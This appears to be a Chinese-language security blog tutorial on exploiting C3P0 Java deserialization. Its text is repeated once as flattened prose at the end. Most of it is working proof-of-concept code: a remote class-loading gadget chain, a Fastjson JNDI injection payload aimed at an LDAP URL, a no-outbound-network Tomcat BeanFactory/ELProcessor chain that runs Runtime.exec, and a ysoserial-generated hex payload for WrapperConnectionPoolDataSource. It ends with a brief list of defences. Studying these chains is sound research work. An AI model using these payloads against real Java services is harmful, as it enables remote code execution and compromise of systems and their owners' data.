C3P0反序列化常用方式及不出网利用
字数 1195 2025-08-26 22:11:45

C3P0反序列化漏洞分析与利用

1. C3P0简介

C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。许多知名开源项目如Hibernate、Spring等都使用它。

主要特点:

  • 自动回收空闲连接功能
  • 相比DBCP(没有自动回收空闲连接功能)更高效

2. 反序列化漏洞分析

2.1 漏洞链分析

漏洞利用链:

com.mchange.v2.naming.ReferenceableUtils#referenceToObject
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized -> getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase -> readObject

2.2 依赖要求

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

3. 利用方式

3.1 基本利用方式

3.1.1 测试代码

public static void main(final String[] args) throws Exception {
    C3P0 c3P0 = new C3P0();
    Object object = c3P0.getObject("http://127.0.0.1:7777/:Exec");
    byte[] serialize = Serializer.serialize(object);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    Object o = objectInputStream.readObject();
}

3.1.2 流程分析

  1. getObject()方法通过":"分割URL和类名
  2. 反射获取PoolBackedDataSource对象
  3. 设置connectionPoolDataSource属性
  4. 序列化PoolBackedDataSource对象
  5. 反序列化时触发漏洞

3.1.3 关键点

  • PoolBackedDataSourceBasewriteObject方法会尝试序列化connectionPoolDataSource
  • 当序列化失败时,会调用ReferenceIndirector进行间接序列化
  • 最终通过URLClassLoader远程加载类实现代码执行

3.2 完整POC

package C3P0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

public class C3P0 {
    public Object getObject(String cmd) throws NoSuchFieldException, IllegalAccessException {
        int i = cmd.lastIndexOf(":");
        String sub1 = cmd.substring(i + 1);
        String sub2 = cmd.substring(0, i);
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Field connectionPoolDataSource = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSource.setAccessible(true);
        connectionPoolDataSource.set(poolBackedDataSourceBase, new PoolSource(sub1, sub2));
        return poolBackedDataSourceBase;
    }

    public class PoolSource implements ConnectionPoolDataSource, Referenceable {
        private String className;
        private String url;

        public PoolSource(String className, String url) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference(){
            return new Reference("Sentiment", className, url);
        }

        // 省略其他方法实现...
    }

    public static void main(final String[] args) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:7777/:Exec");
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(object);
        byte[] serialize = out.toByteArray();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

4. JNDI注入利用

4.1 Fastjson结合利用

依赖:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

POC:

package C3P0;
import com.alibaba.fastjson.JSON;

class Fastjson {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/Exec\", \"loginTimeout\":0}";
        try {
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

4.2 流程分析

  1. Fastjson解析JSON时调用setJndiName()方法设置JNDI名称
  2. 调用setLoginTimeout()触发inner()方法
  3. dereference()方法创建上下文并调用lookup()
  4. 触发JNDI注入

5. 不出网利用

5.1 BeanFactory方式

依赖:

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>8.0.28</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.0.28</version>
</dependency>

POC:

package C3P0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P01 {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        PoolSource poolSource = new PoolSource();
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase, poolSource);
        
        // 序列化和反序列化过程...
    }

    private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
        private String classFactory;
        private String classFactoryLocation;

        public PoolSource(){
            this.classFactory = "BeanFactory";
            this.classFactoryLocation = null;
        }

        @Override
        public Reference getReference() throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "sentiment=eval"));
            ref.add(new StringRefAddr("sentiment", "Runtime.getRuntime().exec(\"calc\")"));
            return ref;
        }

        // 省略其他方法实现...
    }
}

5.2 Hex字节码加载

利用步骤:

  1. 生成恶意序列化数据:
    java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" > 1.txt
    
  2. 将字节码文件转为16进制
  3. 构造payload:
{
    "e": {
        "@type": "java.lang.Class",
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "f": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString": "HexAsciiSerializedMap:16进制编码"
    }
}

5.3 字节码加载流程分析

  1. 设置userOverridesAsString属性
  2. 调用fireVetoableChange()方法
  3. 最终调用C3P0ImplUtils.parseUserOverridesAsString()
  4. 处理16进制数据并转换为ASCII码
  5. 调用fromByteArray()进行反序列化
  6. 触发readObject()执行恶意代码

6. 防御措施

  1. 升级C3P0到最新安全版本
  2. 限制反序列化源,只反序列化可信数据
  3. 使用Java安全管理器限制权限
  4. 监控和过滤可疑的JNDI和RMI请求
  5. 对Fastjson等JSON库进行安全配置或升级

7. 总结

C3P0反序列化漏洞主要通过以下几种方式利用:

  1. 远程类加载
  2. JNDI注入
  3. 本地BeanFactory利用
  4. Hex字节码加载

每种方式都有其适用场景,攻击者可以根据目标环境选择最合适的利用方式。防御时需要综合考虑多种攻击向量,实施多层次的安全防护。

C3P0反序列化漏洞分析与利用 1. C3P0简介 C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。许多知名开源项目如Hibernate、Spring等都使用它。 主要特点: 自动回收空闲连接功能 相比DBCP(没有自动回收空闲连接功能)更高效 2. 反序列化漏洞分析 2.1 漏洞链分析 漏洞利用链: 2.2 依赖要求 3. 利用方式 3.1 基本利用方式 3.1.1 测试代码 3.1.2 流程分析 getObject() 方法通过":"分割URL和类名 反射获取 PoolBackedDataSource 对象 设置 connectionPoolDataSource 属性 序列化 PoolBackedDataSource 对象 反序列化时触发漏洞 3.1.3 关键点 PoolBackedDataSourceBase 的 writeObject 方法会尝试序列化 connectionPoolDataSource 当序列化失败时,会调用 ReferenceIndirector 进行间接序列化 最终通过 URLClassLoader 远程加载类实现代码执行 3.2 完整POC 4. JNDI注入利用 4.1 Fastjson结合利用 依赖: POC: 4.2 流程分析 Fastjson解析JSON时调用 setJndiName() 方法设置JNDI名称 调用 setLoginTimeout() 触发 inner() 方法 dereference() 方法创建上下文并调用 lookup() 触发JNDI注入 5. 不出网利用 5.1 BeanFactory方式 依赖: POC: 5.2 Hex字节码加载 利用步骤: 生成恶意序列化数据: 将字节码文件转为16进制 构造payload: 5.3 字节码加载流程分析 设置 userOverridesAsString 属性 调用 fireVetoableChange() 方法 最终调用 C3P0ImplUtils.parseUserOverridesAsString() 处理16进制数据并转换为ASCII码 调用 fromByteArray() 进行反序列化 触发 readObject() 执行恶意代码 6. 防御措施 升级C3P0到最新安全版本 限制反序列化源,只反序列化可信数据 使用Java安全管理器限制权限 监控和过滤可疑的JNDI和RMI请求 对Fastjson等JSON库进行安全配置或升级 7. 总结 C3P0反序列化漏洞主要通过以下几种方式利用: 远程类加载 JNDI注入 本地BeanFactory利用 Hex字节码加载 每种方式都有其适用场景,攻击者可以根据目标环境选择最合适的利用方式。防御时需要综合考虑多种攻击向量,实施多层次的安全防护。